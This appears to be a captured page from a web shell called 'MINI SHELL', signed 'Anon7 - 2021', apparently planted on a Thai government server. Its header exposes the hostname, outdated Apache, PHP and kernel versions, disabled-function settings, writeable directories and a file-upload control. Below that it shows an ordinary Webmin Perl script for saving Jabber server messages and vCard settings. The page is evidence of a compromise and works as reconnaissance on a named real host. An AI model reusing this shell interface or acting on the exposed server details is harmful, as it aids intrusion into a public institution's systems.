MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/jabber/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/jabber/save_messages.cgi
#!/usr/bin/perl
# save_messages.cgi
# Save welcome and other messages

require './jabber-lib.pl';
&ReadParse();
&error_setup($text{'messages_err'});

$conf = &get_jabber_config();
$session = &find_by_tag("service", "id", "sessions", $conf);
$jsm = &find("jsm", $session);
$welcome = &find("welcome", $jsm);
$register = &find("register", $jsm);
$vcard = &find("vcard", $jsm);

# Validate and store inputs
&save_directive($welcome, "subject",
		[ [ "subject", [ { }, 0, $in{'wsubject'} ] ] ] );
&save_directive($welcome, "body",
		[ [ "body", [ { }, 0, $in{'wbody'} ] ] ] );
eval {
	$xml = new XML::Parser('Style' => 'Tree');
	$in{'vcard'} =~ s/\r//g;
	$vcxml = $xml->parse($in{'vcard'});
	};
$register->[1]->[0]->{'notify'} = $in{'rnotify'} ? 'yes' : 'no';
&save_directive($register, "instructions",
		[ [ "instructions", [ { }, 0, $in{'rinstr'} ] ] ] );
foreach $f (@register_fields) {
	if ($in{"rfield_$f"}) {
		&save_directive($register, $f, [ [ $f, [ { } ] ] ] );
		}
	else {
		&save_directive($register, $f);
		}
	}
&error(&text('messages_evcard', $@)) if ($@);
&error($text{'messages_etag'}) if (lc($vcxml->[0]) ne 'vcard');
&save_directive($jsm, [ $vcard ], [ $vcxml ]);
&save_directive($jsm, "vcard2jud",
		$in{'vcard2jud'} ? [ [ 'vcard2jud', [ { } ] ] ] : [ ] );

&save_jabber_config($conf);
&redirect("");


Anon7 - 2021